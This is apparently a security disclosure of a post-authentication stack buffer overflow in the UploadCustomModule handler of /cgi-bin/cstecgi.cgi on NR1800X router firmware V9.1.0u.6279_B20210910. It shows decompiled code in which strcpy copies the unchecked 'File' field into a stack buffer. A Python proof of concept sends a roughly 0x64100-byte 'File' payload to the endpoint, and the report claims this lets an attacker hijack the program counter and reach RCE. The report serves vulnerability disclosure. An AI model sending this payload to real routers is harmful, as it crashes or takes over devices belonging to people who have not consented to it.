NR1800X - bof - UploadCustomModule

Hi, we found a post-authentication stack buffer overflow at **NR1800X** (Firmware version **V9.1.0u.6279_B20210910**), and contact you at the first time.

```
18  char v18[204800]; // [sp+18h] [-6402Ch] BYREF
19  _BYTE v19[204800]; // [sp+32018h] [-3202Ch] BYREF
20  _DWORD v20[8]; // [sp+64018h] [-2Ch] BYREF
21  char v21; // [sp+64038h] [-Ch]
22
23  memset(v18, 0, sizeof(v18));
24  memset(v19, 0, sizeof(v19));
25  v6 = cJSON_CreateObject(v2, v3, v4, v5);
26  v7 = websGetVar(a1, "Action", "");
27  v8 = cJSON_GetObjectItem(a1);
28  if ( strcmp(v7, "GetCustomModule") )
29    goto LABEL_5;
30  v9 = websGetVar(v8, "FileMd5", "");
31  v10 = websGetVar(v8, "FileUrl", "");
32  v11 = websGetVar(v8, "File", "");
33  strcpy(v18, v11);
```

In function **UploadCustomModule** of the file **/cgi-bin/cstecgi.cgi,** the size of **File** is not checked, one can send a very long string to overflow the stack via strcpy.

PoC

```
import requests import base64 url = "http://192.168.17.220:80/cgi-
bin/cstecgi.cgi" cookie = {"Cookie":"uid=1234"} payload = "a" * 0x64100 data
= {'topicurl' : "UploadCustomModule", "data":{"File" : payload, "FileMd5" :
"1", "FileUrl" : "2"}, "Action" : "GetCustomModule"} response =
requests.post(url, cookies=cookie, json=data) print(response.text)
print(response)
```

The PC register can be hijacked, which means it can result in RCE.